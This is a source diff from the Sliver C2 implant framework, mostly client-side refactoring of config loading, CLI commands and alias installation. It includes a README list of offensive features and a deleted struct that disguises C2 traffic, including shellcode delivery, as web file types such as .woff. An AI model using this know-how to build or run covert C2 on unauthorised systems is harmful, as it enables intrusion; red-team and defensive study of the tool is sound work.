+* Compile-time obfuscation
+* Multiplayer-mode
+* Staged and Stageless payloads
+* [Procedurally generated C2](https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#under-the-hood) over HTTP(S)
+* [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
+* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
+* Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
+* Windows process migration, process injection, user token manipulation, etc.
+* Let's Encrypt integration
+* In-memory .NET assembly execution
+* COFF/BOF in-memory loader
+* TCP and named pipe pivots
+* Much more!

 ### Getting Started

@@ -52,3 +47,4 @@ Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58
 ### License - GPLv3

 Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
+
@@ -1,4 +1,4 @@
-#!/usr/bin/env python3
+#!/usr/bin/env python
 """
 Sliver Implant Framework
 Copyright (C) 2019  Bishop Fox
@@ -21,6 +21,12 @@ import os
 import sys
 import argparse

+try:
+    input = raw_input # Py2 / Py3 compatability
+except NameError:
+    pass
+
+
 INFO = "\033[1m\033[36m[*]\033[0m "
 WARN = "\033[1m\033[31m[!]\033[0m "
 BOLD = "\033[1m"
@@ -28,51 +34,40 @@ NORM = "\033[0m"


 def exec_cmd(cmd, ignore_status=False):
-    """Executes a command with some sugar"""
+    """ Executes a command with some sugar """
    print("\n" + INFO + " %s\n" % cmd)
    status = os.system(cmd)
    if status != 0 and not ignore_status:
        print("\n" + WARN + "Command did not exit cleanly (%s) " % status)
-        if input("continue? [Y/n]: ").upper() != "Y":
+        if input("continue? [Y/n]: ").upper() != 'Y':
            sys.exit(status)
    return status

-
 def docker_rm_volumes():
    exec_cmd("docker volume rm $(docker volume ls -q)", ignore_status=True)

-
 def docker_rm_containers():
    exec_cmd("docker rm $(docker ps -a -q)", ignore_status=True)

-
 def docker_rm_images():
    exec_cmd("docker rmi -f $(docker images -q)", ignore_status=True)

-
 def docker_prune():
    exec_cmd("docker image prune -f", ignore_status=True)

-
 def docker_rm_all():
    docker_rm_containers()
    docker_rm_images()
    docker_rm_volumes()

-
 def build():
    status = exec_cmd("docker build -t sliver .")
    if status == 0:
-        print(
-            INFO
-            + "Build successful, start with %sdocker run -it sliver:latest%s"
-            % (BOLD, NORM)
-        )
-        print(INFO + "Remember you'll need to manually forward network ports")
-
+        print(INFO+"Build successful, start with %sdocker run -it sliver:latest%s" % (BOLD, NORM))
+        print(INFO+"Remember you'll need to manually forward network ports")

 def main(args):
-    """Execute the respective task(s) based on cli args"""
+    """ Execute the respective task(s) based on cli args """
    if args.rm_images:
        docker_rm_images()
    if args.rm_containers:
@@ -81,59 +76,42 @@ def main(args):
        docker_rm_volumes()
    if args.rm_all:
        docker_rm_all()
-
+    
    if not args.no_prune:
        docker_prune()
    if not args.no_build:
        build()


-if __name__ == "__main__":
-    parser = argparse.ArgumentParser(description="automates interactions with docker")
+if __name__ == '__main__':
+    parser = argparse.ArgumentParser(
+        description='automates interactions with docker')

-    parser.add_argument(
-        "--no-build",
-        "-b",
-        help="do not run build",
-        dest="no_build",
-        action="store_true",
-    )
-    parser.add_argument(
-        "--no-prune",
-        "-np",
-        help="do not prune images",
-        dest="no_prune",
-        action="store_true",
-    )
+    parser.add_argument('--no-build', '-b',
+                        help='do not run build',
+                        dest='no_build',
+                        action='store_true')
+    parser.add_argument('--no-prune', '-np',
+                        help='do not prune images',
+                        dest='no_prune',
+                        action='store_true')

-    parser.add_argument(
-        "--rm-all",
-        "-rma",
-        help="rm all containers, images, and volumes",
-        dest="rm_all",
-        action="store_true",
-    )
-    parser.add_argument(
-        "--rm-containers",
-        "-rmc",
-        help="rm all containers",
-        dest="rm_containers",
-        action="store_true",
-    )
-    parser.add_argument(
-        "--rm-images",
-        "-rmi",
-        help="rm all images",
-        dest="rm_images",
-        action="store_true",
-    )
-    parser.add_argument(
-        "--rm-volumes",
-        "-rmv",
-        help="rm dangling volumes only",
-        dest="rm_volumes",
-        action="store_true",
-    )
+    parser.add_argument('--rm-all', '-rma',
+                        help='rm all containers, images, and volumes',
+                        dest='rm_all',
+                        action='store_true')
+    parser.add_argument('--rm-containers', '-rmc',
+                        help='rm all containers',
+                        dest='rm_containers',
+                        action='store_true')
+    parser.add_argument('--rm-images', '-rmi',
+                        help='rm all images',
+                        dest='rm_images',
+                        action='store_true')
+    parser.add_argument('--rm-volumes', '-rmv',
+                        help='rm dangling volumes only',
+                        dest='rm_volumes',
+                        action='store_true')
    try:
        main(parser.parse_args())
    except KeyboardInterrupt:
@@ -19,6 +19,7 @@ package assets
 */

 import (
+	"io/ioutil"
 	"log"
 	"os"
 	"path/filepath"
@@ -44,7 +45,7 @@ func GetAliasesDir() string {
 // GetInstalledAliasManifests - Returns a list of installed alias manifests
 func GetInstalledAliasManifests() []string {
 	aliasDir := GetAliasesDir()
-	aliasDirContent, err := os.ReadDir(aliasDir)
+	aliasDirContent, err := ioutil.ReadDir(aliasDir)
 	if err != nil {
 		log.Printf("error loading aliases: %s", err)
 		return []string{}
@@ -20,6 +20,7 @@ package assets

 import (
 	"encoding/json"
+	"io/ioutil"
 	"log"
 	"os"
 	"os/exec"
@@ -56,7 +57,7 @@ func GetArmoriesConfig() []*ArmoryConfig {
 	if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) {
 		return []*ArmoryConfig{defaultArmoryConfig}
 	}
-	data, err := os.ReadFile(armoryConfigPath)
+	data, err := ioutil.ReadFile(armoryConfigPath)
 	if err != nil {
 		return []*ArmoryConfig{defaultArmoryConfig}
 	}
@@ -20,6 +20,7 @@ package assets

 import (
 	"fmt"
+	"io/ioutil"
 	"log"
 	"os"
 	"os/user"
@@ -49,33 +50,9 @@ func GetRootAppDir() string {
 	return dir
 }

-// GetClientLogsDir - Get the Sliver client logs dir ~/.sliver-client/logs/
-func GetClientLogsDir() string {
-	logsDir := filepath.Join(GetRootAppDir(), "logs")
-	if _, err := os.Stat(logsDir); os.IsNotExist(err) {
-		err = os.MkdirAll(logsDir, 0700)
-		if err != nil {
-			log.Fatal(err)
-		}
-	}
-	return logsDir
-}
-
-// GetConsoleLogsDir - Get the Sliver client console logs dir ~/.sliver-client/logs/console/
-func GetConsoleLogsDir() string {
-	consoleLogsDir := filepath.Join(GetClientLogsDir(), "console")
-	if _, err := os.Stat(consoleLogsDir); os.IsNotExist(err) {
-		err = os.MkdirAll(consoleLogsDir, 0700)
-		if err != nil {
-			log.Fatal(err)
-		}
-	}
-	return consoleLogsDir
-}
-
 func assetVersion() string {
 	appDir := GetRootAppDir()
-	data, err := os.ReadFile(filepath.Join(appDir, versionFileName))
+	data, err := ioutil.ReadFile(filepath.Join(appDir, versionFileName))
 	if err != nil {
 		return ""
 	}
@@ -1,86 +0,0 @@
-package assets
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-// HTTPC2Config - Parent config file struct for implant/server
-type HTTPC2Config struct {
-	ImplantConfig HTTPC2ImplantConfig `json:"implant_config"`
-	ServerConfig  HTTPC2ServerConfig  `json:"server_config"`
-}
-
-// HTTPC2ServerConfig - Server configuration options
-type HTTPC2ServerConfig struct {
-	RandomVersionHeaders bool                   `json:"random_version_headers"`
-	Headers              []NameValueProbability `json:"headers"`
-	Cookies              []string               `json:"cookies"`
-}
-
-type NameValueProbability struct {
-	Name        string `json:"name"`
-	Value       string `json:"value"`
-	Probability int    `json:"probability"`
-	Methods     []string
-}
-
-// HTTPC2ImplantConfig - Implant configuration options
-// Procedural C2
-// ===============
-// .txt = rsakey
-// .css = start
-// .php = session
-//
-//	.js = poll
-//
-// .png = stop
-// .woff = sliver shellcode
-type HTTPC2ImplantConfig struct {
-	UserAgent         string `json:"user_agent"`
-	ChromeBaseVersion int    `json:"chrome_base_version"`
-	MacOSVersion      string `json:"macos_version"`
-
-	NonceQueryArgChars string                 `json:"nonce_query_args"`
-	URLParameters      []NameValueProbability `json:"url_parameters"`
-	Headers            []NameValueProbability `json:"headers"`
-
-	MaxFiles int `json:"max_files"`
-	MinFiles int `json:"min_files"`
-	MaxPaths int `json:"max_paths"`
-	MinPaths int `json:"min_paths"`
-
-	// Stager files and paths
-	StagerFileExt string   `json:"stager_file_ext"`
-	StagerFiles   []string `json:"stager_files"`
-	StagerPaths   []string `json:"stager_paths"`
-
-	// Poll files and paths
-	PollFileExt string   `json:"poll_file_ext"`
-	PollFiles   []string `json:"poll_files"`
-	PollPaths   []string `json:"poll_paths"`
-
-	// Session files and paths
-	StartSessionFileExt string   `json:"start_session_file_ext"`
-	SessionFileExt      string   `json:"session_file_ext"`
-	SessionFiles        []string `json:"session_files"`
-	SessionPaths        []string `json:"session_paths"`
-
-	// Close session files and paths
-	CloseFileExt string   `json:"close_file_ext"`
-	CloseFiles   []string `json:"close_files"`
-	ClosePaths   []string `json:"close_paths"`
-}
@@ -23,9 +23,10 @@ import (
 	"encoding/json"
 	"errors"
 	"fmt"
-	"io"
+	"io/ioutil"
 	"log"
 	"os"
+	"path"
 	"path/filepath"
 )

@@ -50,7 +51,7 @@ func GetConfigDir() string {
 	rootDir, _ := filepath.Abs(GetRootAppDir())
 	dir := filepath.Join(rootDir, ConfigDirName)
 	if _, err := os.Stat(dir); os.IsNotExist(err) {
-		err = os.MkdirAll(dir, 0o700)
+		err = os.MkdirAll(dir, 0700)
 		if err != nil {
 			log.Fatal(err)
 		}
@@ -61,7 +62,7 @@ func GetConfigDir() string {
 // GetConfigs - Returns a list of available configs
 func GetConfigs() map[string]*ClientConfig {
 	configDir := GetConfigDir()
-	configFiles, err := os.ReadDir(configDir)
+	configFiles, err := ioutil.ReadDir(configDir)
 	if err != nil {
 		log.Printf("No configs found %v", err)
 		return map[string]*ClientConfig{}
@@ -69,8 +70,8 @@ func GetConfigs() map[string]*ClientConfig {

 	confs := map[string]*ClientConfig{}
 	for _, confFile := range configFiles {
-		confFilePath := filepath.Join(configDir, confFile.Name())
-		// log.Printf("Parsing config %s", confFilePath)
+		confFilePath := path.Join(configDir, confFile.Name())
+		log.Printf("Parsing config %s", confFilePath)

 		conf, err := ReadConfig(confFilePath)
 		if err != nil {
@@ -90,7 +91,7 @@ func ReadConfig(confFilePath string) (*ClientConfig, error) {
 		return nil, err
 	}
 	defer confFile.Close()
-	data, err := io.ReadAll(confFile)
+	data, err := ioutil.ReadAll(confFile)
 	if err != nil {
 		log.Printf("Read failed %v", err)
 		return nil, err
@@ -113,7 +114,7 @@ func SaveConfig(config *ClientConfig) error {
 	filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(config.Operator), filepath.Base(config.LHost))
 	saveTo, _ := filepath.Abs(filepath.Join(configDir, filename))
 	configJSON, _ := json.Marshal(config)
-	err := os.WriteFile(saveTo, configJSON, 0o600)
+	err := ioutil.WriteFile(saveTo, configJSON, 0600)
 	if err != nil {
 		log.Printf("Failed to write config to: %s (%v)", saveTo, err)
 		return err
@@ -19,6 +19,7 @@ package assets
 */

 import (
+	"io/ioutil"
 	"log"
 	"os"
 	"path/filepath"
@@ -45,7 +46,7 @@ func GetExtensionsDir() string {
 // GetInstalledExtensionManifests - Returns a list of installed extension manifests
 func GetInstalledExtensionManifests() []string {
 	extDir := GetExtensionsDir()
-	extDirContent, err := os.ReadDir(extDir)
+	extDirContent, err := ioutil.ReadDir(extDir)
 	if err != nil {
 		log.Printf("error loading aliases: %s", err)
 		return []string{}
@@ -20,7 +20,7 @@ package assets

 import (
 	"encoding/json"
-	"os"
+	"io/ioutil"
 	"path/filepath"
 )

@@ -36,14 +36,12 @@ type ClientSettings struct {
 	SmallTermWidth    int    `json:"small_term_width"`
 	AlwaysOverflow    bool   `json:"always_overflow"`
 	VimMode           bool   `json:"vim_mode"`
-	UserConnect       bool   `json:"user_connect"`
-	ConsoleLogs       bool   `json:"console_logs"`
 }

 // LoadSettings - Load the client settings from disk
 func LoadSettings() (*ClientSettings, error) {
 	rootDir, _ := filepath.Abs(GetRootAppDir())
-	data, err := os.ReadFile(filepath.Join(rootDir, settingsFileName))
+	data, err := ioutil.ReadFile(filepath.Join(rootDir, settingsFileName))
 	if err != nil {
 		return defaultSettings(), err
 	}
@@ -63,7 +61,6 @@ func defaultSettings() *ClientSettings {
 		SmallTermWidth:    170,
 		AlwaysOverflow:    false,
 		VimMode:           false,
-		ConsoleLogs:       true,
 	}
 }

@@ -77,6 +74,6 @@ func SaveSettings(settings *ClientSettings) error {
 	if err != nil {
 		return err
 	}
-	err = os.WriteFile(filepath.Join(rootDir, settingsFileName), data, 0o600)
+	err = ioutil.WriteFile(filepath.Join(rootDir, settingsFileName), data, 0600)
 	return err
 }
@@ -24,23 +24,27 @@ import (
 	"os"
 	"path"

-	"github.com/rsteube/carapace"
-	"github.com/spf13/cobra"
-
+	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/command"
 	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/transport"
 	"github.com/bishopfox/sliver/client/version"
+
+	"github.com/spf13/cobra"
 )

 const (
 	logFileName = "sliver-client.log"
 )

-var sliverServerVersion = fmt.Sprintf("v%s", version.FullVersion())
+var (
+	sliverServerVersion = fmt.Sprintf("v%s", version.FullVersion())
+)

 // Initialize logging
 func initLogging(appDir string) *os.File {
 	log.SetFlags(log.LstdFlags | log.Lshortfile)
-	logFile, err := os.OpenFile(path.Join(appDir, logFileName), os.O_RDWR|os.O_CREATE|os.O_APPEND, 0o600)
+	logFile, err := os.OpenFile(path.Join(appDir, logFileName), os.O_RDWR|os.O_CREATE|os.O_APPEND, 0600)
 	if err != nil {
 		panic(fmt.Sprintf("[!] Error opening file: %s", err))
 	}
@@ -49,43 +53,51 @@ func initLogging(appDir string) *os.File {
 }

 func init() {
-	rootCmd.TraverseChildren = true
-
-	// Create the console client, without any RPC or commands bound to it yet.
-	// This created before anything so that multiple commands can make use of
-	// the same underlying command/run infrastructure.
-	con := console.NewConsole(false)

 	// Import
-	rootCmd.AddCommand(importCmd())
+	rootCmd.AddCommand(cmdImport)

 	// Version
 	rootCmd.AddCommand(cmdVersion)
-
-	// Client console.
-	// All commands and RPC connection are generated WITHIN the command RunE():
-	// that means there should be no redundant command tree/RPC connections with
-	// other command trees below, such as the implant one.
-	rootCmd.AddCommand(consoleCmd(con))
-
-	// Implant.
-	// The implant command allows users to run commands on slivers from their
-	// system shell. It makes use of pre-runners for connecting to the server
-	// and binding sliver commands. These same pre-runners are also used for
-	// command completion/filtering purposes.
-	rootCmd.AddCommand(implantCmd(con))
-
-	// No subcommand invoked means starting the console.
-	rootCmd.RunE, rootCmd.PostRunE = consoleRunnerCmd(con, true)
-
-	// Completions
-	carapace.Gen(rootCmd)
 }

 var rootCmd = &cobra.Command{
 	Use:   "sliver-client",
 	Short: "",
 	Long:  ``,
+	Run: func(cmd *cobra.Command, args []string) {
+		appDir := assets.GetRootAppDir()
+		logFile := initLogging(appDir)
+		defer logFile.Close()
+
+		os.Args = os.Args[:1] // Stops grumble from complaining
+		err := StartClientConsole()
+		if err != nil {
+			fmt.Printf("[!] %s\n", err)
+		}
+	},
+}
+
+// StartClientConsole - Start the client console
+func StartClientConsole() error {
+	configs := assets.GetConfigs()
+	if len(configs) == 0 {
+		fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
+		return nil
+	}
+	config := selectConfig()
+	if config == nil {
+		return nil
+	}
+
+	fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
+	rpc, ln, err := transport.MTLSConnect(config)
+	if err != nil {
+		fmt.Printf("Connection to server failed %s", err)
+		return nil
+	}
+	defer ln.Close()
+	return console.Start(rpc, command.BindCommands, func(con *console.SliverConsoleClient) {}, false)
 }

 // Execute - Execute root command
@@ -28,6 +28,7 @@ import (
 )

 func selectConfig() *assets.ClientConfig {
+
 	configs := assets.GetConfigs()

 	if len(configs) == 0 {
@@ -52,6 +53,7 @@ func selectConfig() *assets.ClientConfig {
 }

 func getPromptForConfigs(configs map[string]*assets.ClientConfig) []*survey.Question {
+
 	keys := []string{}
 	for k := range configs {
 		keys = append(keys, k)
@@ -1,73 +0,0 @@
-package cli
-
-import (
-	"fmt"
-
-	"github.com/spf13/cobra"
-	"google.golang.org/grpc"
-
-	"github.com/bishopfox/sliver/client/assets"
-	"github.com/bishopfox/sliver/client/command"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/client/transport"
-	"github.com/bishopfox/sliver/protobuf/rpcpb"
-)
-
-// consoleCmd generates the console with required pre/post runners
-func consoleCmd(con *console.SliverConsoleClient) *cobra.Command {
-	consoleCmd := &cobra.Command{
-		Use:   "console",
-		Short: "Start the sliver client console",
-	}
-
-	consoleCmd.RunE, consoleCmd.PersistentPostRunE = consoleRunnerCmd(con, true)
-
-	return consoleCmd
-}
-
-func consoleRunnerCmd(con *console.SliverConsoleClient, run bool) (pre, post func(cmd *cobra.Command, args []string) error) {
-	var ln *grpc.ClientConn
-
-	pre = func(_ *cobra.Command, _ []string) error {
-		appDir := assets.GetRootAppDir()
-		logFile := initLogging(appDir)
-		defer logFile.Close()
-
-		configs := assets.GetConfigs()
-		if len(configs) == 0 {
-			fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
-			return nil
-		}
-		config := selectConfig()
-		if config == nil {
-			return nil
-		}
-
-		// Don't clobber output when simply running an implant command from system shell.
-		if run {
-			fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
-		}
-
-		var rpc rpcpb.SliverRPCClient
-		var err error
-
-		rpc, ln, err = transport.MTLSConnect(config)
-		if err != nil {
-			fmt.Printf("Connection to server failed %s", err)
-			return nil
-		}
-
-		return console.StartClient(con, rpc, command.ServerCommands(con, nil), command.SliverCommands(con), run)
-	}
-
-	// Close the RPC connection once exiting
-	post = func(_ *cobra.Command, _ []string) error {
-		if ln != nil {
-			return ln.Close()
-		}
-
-		return nil
-	}
-
-	return pre, post
-}
@@ -1,76 +0,0 @@
-package cli
-
-import (
-	"errors"
-
-	"github.com/rsteube/carapace"
-	"github.com/spf13/cobra"
-	"github.com/spf13/pflag"
-
-	"github.com/bishopfox/sliver/client/command"
-	"github.com/bishopfox/sliver/client/command/use"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/client/constants"
-)
-
-func implantCmd(con *console.SliverConsoleClient) *cobra.Command {
-	con.IsCLI = true
-
-	makeCommands := command.SliverCommands(con)
-	cmd := makeCommands()
-	cmd.Use = constants.ImplantMenu
-
-	// Flags
-	implantFlags := pflag.NewFlagSet(constants.ImplantMenu, pflag.ContinueOnError)
-	implantFlags.StringP("use", "s", "", "interact with a session")
-	cmd.Flags().AddFlagSet(implantFlags)
-
-	// Prerunners (console setup, connection, etc)
-	cmd.PersistentPreRunE, cmd.PersistentPostRunE = makeRunners(cmd, con)
-
-	// Completions
-	makeCompleters(cmd, con)
-
-	return cmd
-}
-
-func makeRunners(implantCmd *cobra.Command, con *console.SliverConsoleClient) (pre, post func(cmd *cobra.Command, args []string) error) {
-	startConsole, closeConsole := consoleRunnerCmd(con, false)
-
-	// The pre-run function connects to the server and sets up a "fake" console,
-	// so we can have access to active sessions/beacons, and other stuff needed.
-	pre = func(_ *cobra.Command, args []string) error {
-		startConsole(implantCmd, args)
-
-		// Set the active target.
-		target, _ := implantCmd.Flags().GetString("use")
-		if target == "" {
-			return errors.New("no target implant to run command on")
-		}
-
-		session := con.GetSession(target)
-		if session != nil {
-			con.ActiveTarget.Set(session, nil)
-		}
-
-		return nil
-	}
-
-	return pre, closeConsole
-}
-
-func makeCompleters(cmd *cobra.Command, con *console.SliverConsoleClient) {
-	comps := carapace.Gen(cmd)
-
-	comps.PreRun(func(cmd *cobra.Command, args []string) {
-		cmd.PersistentPreRunE(cmd, args)
-	})
-
-	// Bind completers to flags (wrap them to use the same pre-runners)
-	command.FlagComps(cmd, func(comp *carapace.ActionMap) {
-		(*comp)["use"] = carapace.ActionCallback(func(c carapace.Context) carapace.Action {
-			cmd.PersistentPreRunE(cmd, c.Args)
-			return use.SessionIDCompleter(con)
-		})
-	})
-}
@@ -22,37 +22,26 @@ import (
 	"fmt"
 	"os"

-	"github.com/rsteube/carapace"
-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/assets"
+	"github.com/spf13/cobra"
 )

-func importCmd() *cobra.Command {
-	cmdImport := &cobra.Command{
-		Use:   "import",
-		Short: "Import a client configuration file",
-		Long:  `import [config files]`,
-		Run: func(cmd *cobra.Command, args []string) {
-			if 0 < len(args) {
-				for _, arg := range args {
-					conf, err := assets.ReadConfig(arg)
-					if err != nil {
-						fmt.Printf("[!] %s\n", err)
-						os.Exit(3)
-					}
-					assets.SaveConfig(conf)
+var cmdImport = &cobra.Command{
+	Use:   "import",
+	Short: "Import a client configuration file",
+	Long:  `import [config files]`,
+	Run: func(cmd *cobra.Command, args []string) {
+		if 0 < len(args) {
+			for _, arg := range args {
+				conf, err := assets.ReadConfig(arg)
+				if err != nil {
+					fmt.Printf("[!] %s\n", err)
+					os.Exit(3)
 				}
-			} else {
-				fmt.Printf("Missing config file path, see --help")
+				assets.SaveConfig(conf)
 			}
-		},
-		ValidArgsFunction: func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) {
-			return []string{}, cobra.ShellCompDirectiveDefault
-		},
-	}
-
-	carapace.Gen(cmdImport).PositionalCompletion(carapace.ActionFiles().Tag("server configuration"))
-
-	return cmdImport
+		} else {
+			fmt.Printf("Missing config file path, see --help")
+		}
+	},
 }
@@ -21,9 +21,8 @@ package cli
 import (
 	"fmt"

-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/version"
+	"github.com/spf13/cobra"
 )

 var cmdVersion = &cobra.Command{
@@ -21,28 +21,24 @@ package alias
 import (
 	"encoding/json"
 	"fmt"
-	"os"
+	"io/ioutil"
 	"strings"

 	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
-
+	"github.com/desertbit/grumble"
 	"github.com/jedib0t/go-pretty/v6/table"
 	"github.com/jedib0t/go-pretty/v6/text"
-	"github.com/rsteube/carapace"
-	"github.com/spf13/cobra"
 )

 // AliasesCmd - The alias command
-func AliasesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) error {
+func AliasesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if 0 < len(loadedAliases) {
 		PrintAliases(con)
 	} else {
 		con.PrintInfof("No aliases installed, use the 'armory' command to automatically install some\n")
 	}
-
-	return nil
 }

 // PrintAliases - Print a list of loaded aliases
@@ -115,7 +111,7 @@ func getInstalledManifests() map[string]*AliasManifest {
 	manifestPaths := assets.GetInstalledAliasManifests()
 	installedManifests := map[string]*AliasManifest{}
 	for _, manifestPath := range manifestPaths {
-		data, err := os.ReadFile(manifestPath)
+		data, err := ioutil.ReadFile(manifestPath)
 		if err != nil {
 			continue
 		}
@@ -128,14 +124,3 @@ func getInstalledManifests() map[string]*AliasManifest {
 	}
 	return installedManifests
 }
-
-// AliasCommandNameCompleter - Completer for installed extensions command names
-func AliasCompleter() carapace.Action {
-	return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
-		results := []string{}
-		for name := range loadedAliases {
-			results = append(results, name)
-		}
-		return carapace.ActionValues(results...).Tag("aliases")
-	})
-}
@@ -20,21 +20,21 @@ package alias

 import (
 	"fmt"
+	"io/ioutil"
 	"os"
 	"path/filepath"
 	"strings"

 	"github.com/AlecAivazis/survey/v2"
-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/util"
+	"github.com/desertbit/grumble"
 )

 // AliasesInstallCmd - Install an alias
-func AliasesInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
-	aliasLocalPath := args[0]
+func AliasesInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	aliasLocalPath := ctx.Args.String("path")
 	fi, err := os.Stat(aliasLocalPath)
 	if os.IsNotExist(err) {
 		con.PrintErrorf("Extension path '%s' does not exist", aliasLocalPath)
@@ -49,7 +49,7 @@ func AliasesInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg

 // Install an extension from a directory
 func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
-	manifestData, err := os.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
+	manifestData, err := ioutil.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
 	if err != nil {
 		con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
 		return
@@ -74,12 +74,12 @@ func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
 	con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
 	err = os.MkdirAll(installPath, 0o700)
 	if err != nil {
-		con.PrintErrorf("Error creating alias directory: %s\n", err)
+		con.PrintErrorf("\nError creating alias directory: %s\n", err)
 		return
 	}
-	err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
+	err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
 	if err != nil {
-		con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
+		con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
 		forceRemoveAll(installPath)
 		return
 	}
@@ -90,7 +90,7 @@ func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
 			dst := filepath.Join(installPath, util.ResolvePath(cmdFile.Path))
 			err := util.CopyFile(src, dst)
 			if err != nil {
-				con.PrintErrorf("Error copying file '%s' -> '%s': %s\n", src, dst, err)
+				con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
 				forceRemoveAll(installPath)
 				return
 			}
@@ -129,12 +129,12 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
 	con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
 	err = os.MkdirAll(installPath, 0o700)
 	if err != nil {
-		con.PrintErrorf("Failed to create alias directory: %s\n", err)
+		con.PrintErrorf("\nFailed to create alias directory: %s\n", err)
 		return nil
 	}
-	err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
+	err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
 	if err != nil {
-		con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
+		con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
 		forceRemoveAll(installPath)
 		return nil
 	}
@@ -142,7 +142,7 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
 		if aliasFile.Path != "" {
 			err := installArtifact(aliasGzFilePath, installPath, aliasFile.Path, con)
 			if err != nil {
-				con.PrintErrorf("Failed to install file: %s\n", err)
+				con.PrintErrorf("\nFailed to install file: %s\n", err)
 				forceRemoveAll(installPath)
 				return nil
 			}
@@ -153,7 +153,7 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
 }

 func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverConsoleClient) error {
-	data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, string(os.PathSeparator))))
+	data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, "/")))
 	if err != nil {
 		return err
 	}
@@ -165,7 +165,7 @@ func installArtifact(aliasGzFilePath string, installPath, artifactPath string, c
 	if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
 		os.MkdirAll(artifactDir, 0o700)
 	}
-	err = os.WriteFile(localArtifactPath, data, 0o600)
+	err = ioutil.WriteFile(localArtifactPath, data, 0o600)
 	if err != nil {
 		return err
 	}
@@ -28,11 +28,6 @@ import (
 	"strings"

 	"github.com/AlecAivazis/survey/v2"
-	app "github.com/reeflective/console"
-	"github.com/spf13/cobra"
-	"github.com/spf13/pflag"
-	"google.golang.org/protobuf/proto"
-
 	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/command/help"
 	"github.com/bishopfox/sliver/client/console"
@@ -40,6 +35,8 @@ import (
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/bishopfox/sliver/util"
+	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
 )

 const (
@@ -66,7 +63,7 @@ var (
 // Ties the manifest struct to the command struct
 type loadedAlias struct {
 	Manifest *AliasManifest
-	Command  *cobra.Command
+	Command  *grumble.Command
 }

 // AliasFile - An OS/Arch specific file
@@ -124,10 +121,9 @@ func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, target
 }

 // AliasesLoadCmd - Locally load a alias into the Sliver shell.
-func AliasesLoadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
-	dirPath := args[0]
